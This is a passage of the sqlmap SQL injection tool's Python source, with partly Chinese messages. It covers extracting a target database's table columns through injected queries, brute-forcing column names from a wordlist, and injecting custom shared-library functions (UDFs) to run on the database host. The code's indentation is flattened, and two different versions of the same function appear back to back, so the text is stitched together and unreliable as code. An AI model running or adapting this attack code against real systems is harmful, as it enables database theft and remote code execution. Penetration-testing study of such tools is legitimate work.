Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = u"无法检索数据库'%s'中的表" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = u"information_schema不可用,后端DBMS是MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = u"无法检索列名,后端DBMS为 %s" % DBMS.ACCESS logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = u"在数据库'%s'上获取表的字段" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = u"获取字段 " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl if dumpMode and colList: values = [(_, ) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) values = None if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable( PAYLOAD.TECHNIQUE.UNION): expression = query kb.dumpColumns = [] kb.rowXmlMode = True for column in extractRegexResult( r"SELECT (?P<result>.+?) FROM", query).split(','): kb.dumpColumns.append(randomStr().lower()) expression = expression.replace( column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) values = unionUse(expression) kb.rowXmlMode = False kb.dumpColumns = None if values is None: values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value, )) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms( )].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( name.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming( conf.db), unsafeSQLIdentificatorNaming( tbl), unsafeSQLIdentificatorNaming( name)) comment = unArrayizeValue( inject.getValue(query, blind=False, time=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % ( comment, name) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: key = int(columnData[1]) if isinstance( columnData[1], basestring) and columnData[1].isdigit( ) else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get( key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True columnData[1] = INFORMIX_TYPES.get( key, columnData[1]) if notNull: columnData[ 1] = "%s NOT NULL" % columnData[ 1] columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join( unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join( condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue( inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue( inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming( value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ( "number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.error(errMsg) continue for index in getLimitRange(count): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query.replace( "'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1] ).replace("%s", conf.db).replace("%d", str(index)) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (tbl) query += condQuery field = None elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl) query += condQuery field = condition query = agent.limitQuery(index, query, field, field) column = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[ Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % ( unsafeSQLIdentificatorNaming( conf.db.upper()), unsafeSQLIdentificatorNaming( tbl.upper()), unsafeSQLIdentificatorNaming( column.upper())) else: query = _.query % ( unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) comment = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(comment): infoMsg = "retrieved comment '%s' for column '%s'" % ( comment, column) logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms( ) warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % ( unsafeSQLIdentificatorNaming( tbl.upper()), column, unsafeSQLIdentificatorNaming( conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split( ".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (tbl, column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % ( conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column) colType = unArrayizeValue( inject.getValue(query, union=False, error=False)) key = int(colType) if isinstance( colType, basestring) and colType.isdigit() else colType if Backend.isDbms(DBMS.FIREBIRD): colType = FIREBIRD_TYPES.get(key, colType) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: key -= 256 notNull = True colType = INFORMIX_TYPES.get(key, colType) if notNull: colType = "%s NOT NULL" % colType column = safeSQLIdentificatorNaming(column) columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None if columns: if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList)) ) if len(tblList) == 1 else "any table " warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise SqlmapDataException(errMsg) infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming( columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): result = not inject.checkBooleanExpression( "%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def columnExists(columnFile, regex=None): if kb.columnExistsChoice is None and not any( _ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct: warnMsg = u"不建议使用'%s'和'%s'" % ( PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) warnMsg += u"进行常用的字段的存在性检查" logger.warn(warnMsg) message = u"你确定你要继续吗? [y/N] " kb.columnExistsChoice = readInput(message, default='N', boolean=True) if not kb.columnExistsChoice: return None if not conf.tbl: errMsg = u"缺少表参数" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = u"因为检测到的结果无效,所以无法对列的存在性进行检查," errMsg += u"(很可能是由于使用的注入无法区分错误结果)。" raise SqlmapDataException(errMsg) message = u"您要使用哪些常用字段(wordlist)文件?\n" message += u"[1] 默认 '%s' (按回车)\n" % columnFile message += u"[2] 自定义" choice = readInput(message, default='1') if choice == '2': message = u"自定义的常用字段文件位置在哪里?\n" columnFile = readInput(message) or columnFile infoMsg = u"使用%s文件检查字段是否存在" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming( columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = u"用户在检查字段存在性期间中止,sqlmap将只显示部分输出" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = u"找不到字段" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): result = not inject.checkBooleanExpression( "%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = "numeric" else: columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF注入功能仅适用于MySQL和PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF注入功能需要堆叠(多语句)查询SQL注入" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "所请求的功能可能不起作用,因为当前会话用户不是数据库管理员。" logger.warn(warnMsg) if not conf.shLib: msg = "共享库的本地路径是什么?" while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn("您需要指定共享库的本地路径") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "指定的共享库文件不存在" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith( ".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "共享库文件必须以'.dll'或'.so'结尾" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "您提供了共享对象.so作为共享库,但数据库底层操作系统是Windows。" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "您提供了一个动态链接库.dll作为共享库,但是底层操作系统的数据库是Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename( self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename( self.udfLocalFile).split(".")[1] msg = "要从共享库创建多少用户定义的函数?" while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warn("无效值,仅允许数字") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("您需要指定UDF的名称") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "UDF '%s'有多少输入参数?(默认值为1)" % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warn("无效值,只允许数字 >= 0") for y in xrange(0, parCount): msg = "输入参数号码%d的数据类型是什么?(默认为%s类型) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warn("您需要指定参数的数据类型") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if isinstance(retType, basestring) and retType.isdigit(): logger.warn("您需要指定返回值的数据类型") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "你现在想要注入用户定义的函数吗?? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "你想调用哪个UDF?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg).upper() if choice == 'Q': break elif isinstance(choice, basestring) and choice.isdigit( ) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break else: warnMsg = "无效值,只允许数字 >= 1 and <= %d " % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "参数号 %d (数据类型: %s)的值是多少 " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn("您需要指定参数的值") count += 1 cmd = cmd[:-1] msg = "你想要检索UDF的返回值吗? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs)